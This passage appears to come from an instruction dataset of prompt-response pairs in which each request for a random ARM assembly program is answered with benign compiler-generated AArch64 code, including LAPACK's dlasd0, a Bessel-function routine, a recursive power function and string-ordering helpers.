add x0, x1, x0
ldr w1, [sp, 224]
str w1, [x0]
ldr w0, [sp, 224]
add w0, w0, 1
str w0, [sp, 224]
.L80:
ldr w1, [sp, 224]
ldr w0, [sp, 308]
cmp w1, w0
ble .L81
ldr w0, [sp, 196]
ldr w1, [sp, 220]
cmp w1, w0
bne .L82
ldr x0, [sp, 160]
ldr w0, [x0]
str w0, [sp, 192]
b .L83
.L82:
mov w0, 1
str w0, [sp, 192]
.L83:
ldr w1, [sp, 204]
ldr w0, [sp, 192]
add w0, w1, w0
str w0, [sp, 216]
ldrsw x0, [sp, 300]
lsl x0, x0, 3
ldr x1, [sp, 152]
add x6, x1, x0
ldrsw x0, [sp, 300]
lsl x0, x0, 3
ldr x1, [sp, 144]
add x7, x1, x0
ldr w1, [sp, 300]
ldr w0, [sp, 248]
mul w1, w1, w0
ldr w0, [sp, 300]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr w2, [sp, 300]
ldr w1, [sp, 240]
mul w2, w2, w1
ldr w1, [sp, 300]
add w1, w2, w1
sxtw x1, w1
lsl x1, x1, 3
ldr x2, [sp, 136]
add x1, x2, x1
ldr w3, [sp, 300]
ldr w2, [sp, 240]
mul w3, w3, w2
ldr w2, [sp, 300]
add w2, w3, w2
sxtw x2, w2
lsl x2, x2, 3
ldr x3, [sp, 136]
add x2, x3, x2
ldr x3, [sp, 88]
add x3, x3, 8
add x5, sp, 208
add x11, sp, 204
add x10, sp, 216
add x9, sp, 204
add x8, sp, 192
ldr x4, [sp, 80]
str x4, [sp, 56]
str x3, [sp, 48]
ldr x3, [sp, 128]
str x3, [sp, 40]
str x2, [sp, 32]
ldr x2, [sp, 128]
str x2, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 112]
str x1, [sp, 8]
str x0, [sp]
mov x4, x11
mov x3, x10
mov x2, x9
mov x1, x8
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl dlasdq_
ldr x0, [sp, 80]
ldr w0, [x0]
cmp w0, 0
beq .L84
mov w0, 0
b .L97
.L84:
ldr w1, [sp, 268]
ldr w0, [sp, 284]
add w0, w1, w0
str w0, [sp, 304]
ldr w0, [sp, 204]
str w0, [sp, 308]
mov w0, 1
str w0, [sp, 224]
b .L85
.L86:
ldr w1, [sp, 304]
ldr w0, [sp, 224]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 96]
add x0, x1, x0
ldr w1, [sp, 224]
str w1, [x0]
ldr w0, [sp, 224]
add w0, w0, 1
str w0, [sp, 224]
.L85:
ldr w1, [sp, 224]
ldr w0, [sp, 308]
cmp w1, w0
ble .L86
ldr w0, [sp, 220]
add w0, w0, 1
str w0, [sp, 220]
.L78:
ldr w0, [sp, 180]
ldr w1, [sp, 220]
cmp w1, w0
ble .L87
ldr w0, [sp, 184]
str w0, [sp, 236]
b .L88
.L96:
ldr w0, [sp, 236]
cmp w0, 1
bne .L89
mov w0, 1
str w0, [sp, 228]
mov w0, 1
str w0, [sp, 232]
b .L90
.L89:
ldr w0, [sp, 236]
sub w0, w0, #1
str w0, [sp, 180]
adrp x0, c__2
add x0, x0, :lo12:c__2
mov w2, w0
add x0, sp, 180
mov w1, w0
mov w0, w2
bl pow_ii
str w0, [sp, 228]
ldr w0, [sp, 228]
lsl w0, w0, 1
sub w0, w0, #1
str w0, [sp, 232]
.L90:
ldr w0, [sp, 232]
str w0, [sp, 180]
ldr w0, [sp, 228]
str w0, [sp, 220]
b .L91
.L95:
ldr w0, [sp, 220]
sub w0, w0, #1
str w0, [sp, 280]
ldr w1, [sp, 256]
ldr w0, [sp, 280]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 284]
ldr w1, [sp, 260]
ldr w0, [sp, 280]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 200]
ldr w1, [sp, 264]
ldr w0, [sp, 280]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 204]
ldr w0, [sp, 200]
ldr w1, [sp, 284]
sub w0, w1, w0
str w0, [sp, 288]
ldr x0, [sp, 160]
ldr w0, [x0]
cmp w0, 0
bne .L92
ldr w1, [sp, 220]
ldr w0, [sp, 232]
cmp w1, w0
bne .L92
ldr x0, [sp, 160]
ldr w0, [x0]
str w0, [sp, 192]
b .L93
.L92:
mov w0, 1
str w0, [sp, 192]
.L93:
ldr w1, [sp, 268]
ldr w0, [sp, 288]
add w0, w1, w0
sub w0, w0, #1
str w0, [sp, 292]
ldrsw x0, [sp, 284]
lsl x0, x0, 3
ldr x1, [sp, 152]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 320]
ldrsw x0, [sp, 284]
lsl x0, x0, 3
ldr x1, [sp, 144]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 312]
ldrsw x0, [sp, 288]
lsl x0, x0, 3
ldr x1, [sp, 152]
add x11, x1, x0
ldr w1, [sp, 288]
ldr w0, [sp, 240]
mul w1, w1, w0
ldr w0, [sp, 288]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 136]
add x6, x1, x0
ldr w1, [sp, 288]
ldr w0, [sp, 248]
mul w1, w1, w0
ldr w0, [sp, 288]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldrsw x1, [sp, 292]
lsl x1, x1, 2
ldr x2, [sp, 96]
add x1, x2, x1
ldrsw x2, [sp, 272]
lsl x2, x2, 2
ldr x3, [sp, 96]
add x2, x3, x2
ldr x3, [sp, 88]
add x3, x3, 8
add x5, sp, 312
add x12, sp, 320
add x10, sp, 192
add x9, sp, 204
add x8, sp, 200
ldr x4, [sp, 80]
str x4, [sp, 40]
str x3, [sp, 32]
str x2, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 112]
str x1, [sp, 8]
str x0, [sp]
ldr x7, [sp, 128]
mov x4, x12
mov x3, x11
mov x2, x10
mov x1, x9
mov x0, x8
bl dlasd1_
ldr x0, [sp, 80]
ldr w0, [x0]
cmp w0, 0
beq .L94
mov w0, 0
b .L97
.L94:
ldr w0, [sp, 220]
add w0, w0, 1
str w0, [sp, 220]
.L91:
ldr w0, [sp, 180]
ldr w1, [sp, 220]
cmp w1, w0
ble .L95
ldr w0, [sp, 236]
sub w0, w0, #1
str w0, [sp, 236]
.L88:
ldr w0, [sp, 236]
cmp w0, 0
bgt .L96
mov w0, 0
.L97:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 328]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L98
bl __stack_chk_fail
.L98:
mov w0, w1
ldp x29, x30, [sp, 64]
add sp, sp, 336
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size dlasd0_, .-dlasd0_
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 2
.type PROTOCOL_VERSION, %object
.size PROTOCOL_VERSION, 4
PROTOCOL_VERSION:
.word 90007
.align 2
.type MIN_PARTICL_VERSION, %object
.size MIN_PARTICL_VERSION, 4
MIN_PARTICL_VERSION:
.word 90004
.align 2
.type INIT_PROTO_VERSION, %object
.size INIT_PROTO_VERSION, 4
INIT_PROTO_VERSION:
.word 209
.align 2
.type GETHEADERS_VERSION, %object
.size GETHEADERS_VERSION, 4
GETHEADERS_VERSION:
.word 31800
.align 2
.type MIN_PEER_PROTO_VERSION, %object
.size MIN_PEER_PROTO_VERSION, 4
MIN_PEER_PROTO_VERSION:
.word 90005
.align 2
.type CADDR_TIME_VERSION, %object
.size CADDR_TIME_VERSION, 4
CADDR_TIME_VERSION:
.word 31402
.align 2
.type BIP0031_VERSION, %object
.size BIP0031_VERSION, 4
BIP0031_VERSION:
.word 60000
.align 2
.type NO_BLOOM_VERSION, %object
.size NO_BLOOM_VERSION, 4
NO_BLOOM_VERSION:
.word 70011
.align 2
.type SENDHEADERS_VERSION, %object
.size SENDHEADERS_VERSION, 4
SENDHEADERS_VERSION:
.word 70012
.align 2
.type FEEFILTER_VERSION, %object
.size FEEFILTER_VERSION, 4
FEEFILTER_VERSION:
.word 70013
.align 2
.type SHORT_IDS_BLOCKS_VERSION, %object
.size SHORT_IDS_BLOCKS_VERSION, 4
SHORT_IDS_BLOCKS_VERSION:
.word 70014
.align 2
.type INVALID_CB_NO_BAN_VERSION, %object
.size INVALID_CB_NO_BAN_VERSION, 4
INVALID_CB_NO_BAN_VERSION:
.word 70015
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global _pow_recursion
.type _pow_recursion, %function
_pow_recursion:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
ldr w0, [sp, 24]
cmp w0, 0
bge .L2
mov w0, -1
b .L3
.L2:
ldr w0, [sp, 24]
cmp w0, 0
bne .L4
mov w0, 1
b .L3
.L4:
ldr w0, [sp, 24]
sub w0, w0, #1
mov w1, w0
ldr w0, [sp, 28]
bl _pow_recursion
mov w1, w0
ldr w0, [sp, 28]
mul w0, w1, w0
.L3:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size _pow_recursion, .-_pow_recursion
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "the current program's pid is %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
bl getpid
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global foo
.type foo, %function
foo:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, 15]
ldrb w0, [sp, 15]
and w0, w0, 65535
mov w1, w0
mov w0, w1
ubfiz w0, w0, 8, 8
sub w0, w0, w1
and w0, w0, 65535
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size foo, .-foo
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w0, 64
bl foo
and w1, w0, 65535
mov w0, 16320
cmp w1, w0
beq .L4
bl abort
.L4:
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "bad arguments in bessik"
.align 3
.LC1:
.string "x too large in bessik; try asymptotic expansion"
.align 3
.LC2:
.string "bessk series failed to converge"
.align 3
.LC3:
.string "bessik: failure to converge in cf2"
.text
.align 2
.global bessik
.type bessik, %function
bessik:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -448]!
.cfi_def_cfa_offset 448
.cfi_offset 29, -448
.cfi_offset 30, -440
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -432
str s0, [sp, 76]
str s1, [sp, 72]
str x0, [sp, 64]
str x1, [sp, 56]
str x2, [sp, 48]
str x3, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 440]
mov x1, 0
ldr s0, [sp, 76]
fcmpe s0, #0.0
bls .L2
ldr s0, [sp, 72]
fcmpe s0, #0.0
bmi .L2
b .L3
.L2:
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl nrerror
.L3:
ldr s0, [sp, 72]
fcvt d1, s0
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs w0, d0
str w0, [sp, 92]
ldr s0, [sp, 92]
scvtf s0, s0
ldr s1, [sp, 72]
fsub s0, s1, s0
fcvt d0, s0
str d0, [sp, 280]
ldr d0, [sp, 280]
fmul d0, d0, d0
str d0, [sp, 288]
ldr s0, [sp, 76]
fcvt d0, s0
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [sp, 296]
ldr d0, [sp, 296]
fadd d0, d0, d0
str d0, [sp, 304]
ldr s0, [sp, 72]
fcvt d0, s0
ldr d1, [sp, 296]
fmul d0, d1, d0
str d0, [sp, 184]
ldr d0, [sp, 184]
adrp x0, .LC4
ldr d1, [x0, #:lo12:.LC4]
fcmpe d0, d1
bmi .L39
b .L5
.L39:
adrp x0, .LC4
ldr d0, [x0, #:lo12:.LC4]
str d0, [sp, 184]
.L5:
ldr s0, [sp, 72]
fcvt d0, s0
ldr d1, [sp, 304]
fmul d0, d1, d0
str d0, [sp, 136]
str xzr, [sp, 152]
ldr d0, [sp, 184]
str d0, [sp, 144]
mov w0, 1
str w0, [sp, 84]
b .L7
.L11:
ldr d1, [sp, 136]
ldr d0, [sp, 304]
fadd d0, d1, d0
str d0, [sp, 136]
ldr d1, [sp, 136]
ldr d0, [sp, 152]
fadd d0, d1, d0
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [sp, 152]
ldr d0, [sp, 144]
fmov d1, 1.0e+0
fdiv d0, d1, d0
ldr d1, [sp, 136]
fadd d0, d1, d0
str d0, [sp, 144]
ldr d1, [sp, 144]
ldr d0, [sp, 152]
fmul d0, d1, d0
str d0, [sp, 312]
ldr d1, [sp, 184]
ldr d0, [sp, 312]
fmul d0, d1, d0
str d0, [sp, 184]
ldr d1, [sp, 312]
fmov d0, 1.0e+0
fsub d0, d1, d0
fabs d0, d0
adrp x0, .LC5
ldr d1, [x0, #:lo12:.LC5]
fcmpe d0, d1
bmi .L46
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L7:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L11
b .L10
.L46:
nop
.L10:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L12
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl nrerror
.L12:
adrp x0, .LC4
ldr d0, [x0, #:lo12:.LC4]
str d0, [sp, 224]
ldr d1, [sp, 184]
ldr d0, [sp, 224]
fmul d0, d1, d0
str d0, [sp, 232]
ldr d0, [sp, 224]
str d0, [sp, 320]
ldr d0, [sp, 232]
str d0, [sp, 328]
ldr s0, [sp, 72]
fcvt d0, s0
ldr d1, [sp, 296]
fmul d0, d1, d0
str d0, [sp, 168]
ldr w0, [sp, 92]
str w0, [sp, 88]
b .L13
.L14:
ldr d1, [sp, 168]
ldr d0, [sp, 224]
fmul d0, d1, d0
ldr d1, [sp, 232]
fadd d0, d1, d0
str d0, [sp, 432]
ldr d1, [sp, 168]
ldr d0, [sp, 296]
fsub d0, d1, d0
str d0, [sp, 168]
ldr d1, [sp, 168]
ldr d0, [sp, 432]
fmul d0, d1, d0
ldr d1, [sp, 224]
fadd d0, d1, d0
str d0, [sp, 232]
ldr d0, [sp, 432]
str d0, [sp, 224]
ldr w0, [sp, 88]
sub w0, w0, #1
str w0, [sp, 88]
.L13:
ldr w0, [sp, 88]
cmp w0, 0
bgt .L14
ldr d0, [sp, 224]
ldr d1, [sp, 232]
fdiv d0, d1, d0
str d0, [sp, 336]
ldr s1, [sp, 76]
fmov s0, 2.0e+0
fcmpe s1, s0
bmi .L40
b .L43
.L40:
ldr s0, [sp, 76]
fcvt d1, s0
fmov d0, 5.0e-1
fmul d0, d1, d0
str d0, [sp, 368]
ldr d0, [sp, 280]
adrp x0, .LC6
ldr d1, [x0, #:lo12:.LC6]
fmul d0, d0, d1
str d0, [sp, 376]
ldr d0, [sp, 376]
fabs d0, d0
adrp x0, .LC5
ldr d1, [x0, #:lo12:.LC5]
fcmpe d0, d1
bmi .L41
b .L44
.L41:
fmov d0, 1.0e+0
b .L19
.L44:
ldr d0, [sp, 376]
bl sin
fmov d1, d0
ldr d0, [sp, 376]
fdiv d0, d0, d1
.L19:
str d0, [sp, 168]
ldr d0, [sp, 368]
bl log
fneg d0, d0
str d0, [sp, 152]
ldr d1, [sp, 280]
ldr d0, [sp, 152]
fmul d0, d1, d0
str d0, [sp, 384]
ldr d0, [sp, 384]
fabs d0, d0
adrp x0, .LC5
ldr d1, [x0, #:lo12:.LC5]
fcmpe d0, d1
bmi .L42
b .L45
.L42:
fmov d0, 1.0e+0
b .L22
.L45:
ldr d0, [sp, 384]
bl sinh
fmov d1, d0
ldr d0, [sp, 384]
fdiv d0, d1, d0
.L22:
str d0, [sp, 392]
add x3, sp, 112
add x2, sp, 120
add x1, sp, 104
add x0, sp, 96
ldr d0, [sp, 280]
bl beschb
ldr d0, [sp, 384]
bl cosh
fmov d1, d0
ldr d0, [sp, 96]
fmul d1, d1, d0
ldr d2, [sp, 104]
ldr d0, [sp, 392]
fmul d2, d2, d0
ldr d0, [sp, 152]
fmul d0, d2, d0
fadd d0, d1, d0
ldr d1, [sp, 168]
fmul d0, d1, d0
str d0, [sp, 176]
ldr d0, [sp, 176]
str d0, [sp, 264]
ldr d0, [sp, 384]
bl exp
str d0, [sp, 384]
ldr d1, [sp, 384]
fmov d0, 5.0e-1
fmul d1, d1, d0
ldr d0, [sp, 120]
fdiv d0, d1, d0
str d0, [sp, 192]
ldr d1, [sp, 112]
ldr d0, [sp, 384]
fmul d0, d1, d0
fmov d1, 5.0e-1
fdiv d0, d1, d0
str d0, [sp, 200]
fmov d0, 1.0e+0
str d0, [sp, 144]
ldr d0, [sp, 368]
fmul d0, d0, d0
str d0, [sp, 152]
ldr d0, [sp, 192]
str d0, [sp, 272]
mov w0, 1
str w0, [sp, 84]
b .L23
.L27:
ldr w0, [sp, 84]
scvtf d1, w0
ldr d0, [sp, 176]
fmul d1, d1, d0
ldr d0, [sp, 192]
fadd d1, d1, d0
ldr d0, [sp, 200]
fadd d1, d1, d0
ldr w0, [sp, 84]
mul w0, w0, w0
scvtf d2, w0
ldr d0, [sp, 288]
fsub d0, d2, d0
fdiv d0, d1, d0
str d0, [sp, 176]
ldr w0, [sp, 84]
scvtf d0, w0
ldr d1, [sp, 152]
fdiv d0, d1, d0
ldr d1, [sp, 144]
fmul d0, d1, d0
str d0, [sp, 144]
ldr w0, [sp, 84]
scvtf d1, w0
ldr d0, [sp, 280]
fsub d0, d1, d0
ldr d1, [sp, 192]
fdiv d0, d1, d0
str d0, [sp, 192]
ldr w0, [sp, 84]
scvtf d1, w0
ldr d0, [sp, 280]
fadd d0, d1, d0
ldr d1, [sp, 200]
fdiv d0, d1, d0
str d0, [sp, 200]
ldr d1, [sp, 144]
ldr d0, [sp, 176]
fmul d0, d1, d0
str d0, [sp, 312]
ldr d1, [sp, 264]
ldr d0, [sp, 312]
fadd d0, d1, d0
str d0, [sp, 264]
ldr w0, [sp, 84]
scvtf d1, w0
ldr d0, [sp, 176]
fmul d0, d1, d0
ldr d1, [sp, 192]
fsub d0, d1, d0
ldr d1, [sp, 144]
fmul d0, d1, d0
str d0, [sp, 400]
ldr d1, [sp, 272]
ldr d0, [sp, 400]
fadd d0, d1, d0
str d0, [sp, 272]
ldr d0, [sp, 312]
fabs d1, d0
ldr d0, [sp, 264]
fabs d0, d0
adrp x0, .LC5
ldr d2, [x0, #:lo12:.LC5]
fmul d0, d0, d2
fcmpe d1, d0
bmi .L47
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L23:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L27
b .L26
.L47:
nop
.L26:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L28
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl nrerror
.L28:
ldr d0, [sp, 264]
str d0, [sp, 248]
ldr d1, [sp, 272]
ldr d0, [sp, 304]
fmul d0, d1, d0
str d0, [sp, 240]
b .L29
.L43:
ldr s0, [sp, 76]
fcvt d1, s0
fmov d0, 1.0e+0
fadd d0, d1, d0
fadd d0, d0, d0
str d0, [sp, 136]
ldr d0, [sp, 136]
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [sp, 152]
ldr d0, [sp, 152]
str d0, [sp, 160]
ldr d0, [sp, 160]
str d0, [sp, 184]
str xzr, [sp, 208]
fmov d0, 1.0e+0
str d0, [sp, 216]
fmov d1, 2.5e-1
ldr d0, [sp, 288]
fsub d0, d1, d0
str d0, [sp, 344]
ldr d0, [sp, 344]
str d0, [sp, 144]
ldr d0, [sp, 144]
str d0, [sp, 200]
ldr d0, [sp, 344]
fneg d0, d0
str d0, [sp, 128]
ldr d1, [sp, 200]
ldr d0, [sp, 160]
fmul d1, d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [sp, 256]
mov w0, 2
str w0, [sp, 84]
b .L30
.L34:
ldr w0, [sp, 84]
sub w0, w0, #1
lsl w0, w0, 1
scvtf d0, w0
ldr d1, [sp, 128]
fsub d0, d1, d0
str d0, [sp, 128]
ldr d0, [sp, 128]
fneg d1, d0
ldr d0, [sp, 144]
fmul d1, d1, d0
ldr w0, [sp, 84]
scvtf d0, w0
fdiv d0, d1, d0
str d0, [sp, 144]
ldr d1, [sp, 136]
ldr d0, [sp, 216]
fmul d0, d1, d0
ldr d1, [sp, 208]
fsub d1, d1, d0
ldr d0, [sp, 128]
fdiv d0, d1, d0
str d0, [sp, 352]
ldr d0, [sp, 216]
str d0, [sp, 208]
ldr d0, [sp, 352]
str d0, [sp, 216]
ldr d1, [sp, 144]
ldr d0, [sp, 352]
fmul d0, d1, d0
ldr d1, [sp, 200]
fadd d0, d1, d0
str d0, [sp, 200]
ldr d1, [sp, 136]
fmov d0, 2.0e+0
fadd d0, d1, d0
str d0, [sp, 136]
ldr d1, [sp, 128]
ldr d0, [sp, 152]
fmul d1, d1, d0
ldr d0, [sp, 136]
fadd d0, d1, d0
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [sp, 152]
ldr d1, [sp, 136]
ldr d0, [sp, 152]
fmul d1, d1, d0
fmov d0, 1.0e+0
fsub d0, d1, d0
ldr d1, [sp, 160]
fmul d0, d1, d0
str d0, [sp, 160]
ldr d1, [sp, 184]
ldr d0, [sp, 160]
fadd d0, d1, d0
str d0, [sp, 184]
ldr d1, [sp, 200]
ldr d0, [sp, 160]
fmul d0, d1, d0
str d0, [sp, 360]
ldr d1, [sp, 256]
ldr d0, [sp, 360]
fadd d0, d1, d0
str d0, [sp, 256]
ldr d0, [sp, 256]
ldr d1, [sp, 360]
fdiv d0, d1, d0
fabs d0, d0
adrp x0, .LC5
ldr d1, [x0, #:lo12:.LC5]
fcmpe d0, d1
bmi .L48
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L30:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L34
b .L33
.L48:
nop
.L33:
ldr w1, [sp, 84]
mov w0, 10000
cmp w1, w0
ble .L35
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl nrerror
.L35:
ldr d1, [sp, 184]
ldr d0, [sp, 344]
fmul d0, d1, d0
str d0, [sp, 184]
ldr s0, [sp, 76]
fcvt d0, s0
fadd d0, d0, d0
adrp x0, .LC6
ldr d1, [x0, #:lo12:.LC6]
fdiv d0, d1, d0
bl sqrt
fmov d8, d0
ldr s0, [sp, 76]
fneg s0, s0
fcvt d0, s0
bl exp
fmul d1, d8, d0
ldr d0, [sp, 256]
fdiv d0, d1, d0
str d0, [sp, 248]
ldr s0, [sp, 76]
fcvt d1, s0
ldr d0, [sp, 280]
fadd d1, d1, d0
fmov d0, 5.0e-1
fadd d1, d1, d0
ldr d0, [sp, 184]
fsub d1, d1, d0
ldr d0, [sp, 248]
fmul d0, d1, d0
ldr d1, [sp, 296]
fmul d0, d1, d0
str d0, [sp, 240]
.L29:
ldr d1, [sp, 280]
ldr d0, [sp, 296]
fmul d1, d1, d0
ldr d0, [sp, 248]
fmul d1, d1, d0
ldr d0, [sp, 240]
fsub d0, d1, d0
str d0, [sp, 408]
ldr d1, [sp, 336]
ldr d0, [sp, 248]
fmul d1, d1, d0
ldr d0, [sp, 408]
fsub d0, d1, d0
ldr d1, [sp, 296]
fdiv d0, d1, d0
str d0, [sp, 416]
ldr d1, [sp, 416]
ldr d0, [sp, 320]
fmul d1, d1, d0
ldr d0, [sp, 224]
fdiv d0, d1, d0
fcvt s0, d0
ldr x0, [sp, 64]
str s0, [x0]
ldr d1, [sp, 416]
ldr d0, [sp, 328]
fmul d1, d1, d0
ldr d0, [sp, 224]
fdiv d0, d1, d0
fcvt s0, d0
ldr x0, [sp, 48]
str s0, [x0]
mov w0, 1
str w0, [sp, 84]
b .L36
.L37:
ldr w0, [sp, 84]
scvtf d1, w0
ldr d0, [sp, 280]
fadd d1, d1, d0
ldr d0, [sp, 304]
fmul d1, d1, d0
ldr d0, [sp, 240]
fmul d0, d1, d0
ldr d1, [sp, 248]
fadd d0, d1, d0
str d0, [sp, 424]
ldr d0, [sp, 240]
str d0, [sp, 248]
ldr d0, [sp, 424]
str d0, [sp, 240]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L36:
ldr w1, [sp, 84]
ldr w0, [sp, 92]
cmp w1, w0
ble .L37
ldr d0, [sp, 248]
fcvt s0, d0
ldr x0, [sp, 56]
str s0, [x0]
ldr s0, [sp, 72]
fcvt d1, s0
ldr d0, [sp, 296]
fmul d1, d1, d0
ldr d0, [sp, 248]
fmul d1, d1, d0
ldr d0, [sp, 240]
fsub d0, d1, d0
fcvt s0, d0
ldr x0, [sp, 40]
str s0, [x0]
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 440]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L38
bl __stack_chk_fail
.L38:
ldr d8, [sp, 16]
ldp x29, x30, [sp], 448
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size bessik, .-bessik
.section .rodata
.align 3
.LC4:
.word -18103648
.word 968116299
.align 3
.LC5:
.word -640172613
.word 1037794527
.align 3
.LC6:
.word 1413754136
.word 1074340347
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "program.c"
.align 3
.LC1:
.string "lhs && rhs"
.text
.align 2
.type asciiOrdering, %function
asciiOrdering:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
stp x19, x20, [sp, 16]
.cfi_offset 19, -32
.cfi_offset 20, -24
str x0, [sp, 40]
str x1, [sp, 32]
ldr x0, [sp, 40]
cmp x0, 0
beq .L2
ldr x0, [sp, 32]
cmp x0, 0
bne .L7
.L2:
adrp x0, __PRETTY_FUNCTION__.1
add x3, x0, :lo12:__PRETTY_FUNCTION__.1
mov w2, 8
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __assert_fail
.L7:
ldr x0, [sp, 40]
ldrb w20, [x0]
ldr x0, [sp, 32]
ldrb w19, [x0]
cmp w20, w19
bcc .L4
cmp w20, w19
cset w0, hi
and w0, w0, 255
b .L6
.L4:
mov w0, -1
.L6:
ldp x19, x20, [sp, 16]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size asciiOrdering, .-asciiOrdering
.section .rodata
.align 3
.LC2:
.string "length && alphabet && uniqueLetterCount"
.align 3
.LC3:
.string "length < sizeof mask / sizeof *mask"
.text
.align 2
.type dumpCombinations, %function
dumpCombinations:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
ldr x0, [sp, 40]
cmp x0, 0
beq .L9
ldr x0, [sp, 32]
cmp x0, 0
beq .L9
ldr x0, [sp, 24]
cmp x0, 0
bne .L21
.L9:
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 20
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl __assert_fail
.L21:
add x0, sp, 72
movi v0.4s, 0
stp q0, q0, [x0]
stp q0, q0, [x0, 32]
str q0, [x0, 64]
ldr x0, [sp, 40]
cmp x0, 9
bls .L11
adrp x0, __PRETTY_FUNCTION__.0
add x3, x0, :lo12:__PRETTY_FUNCTION__.0
mov w2, 24
adrp x0, .LC0
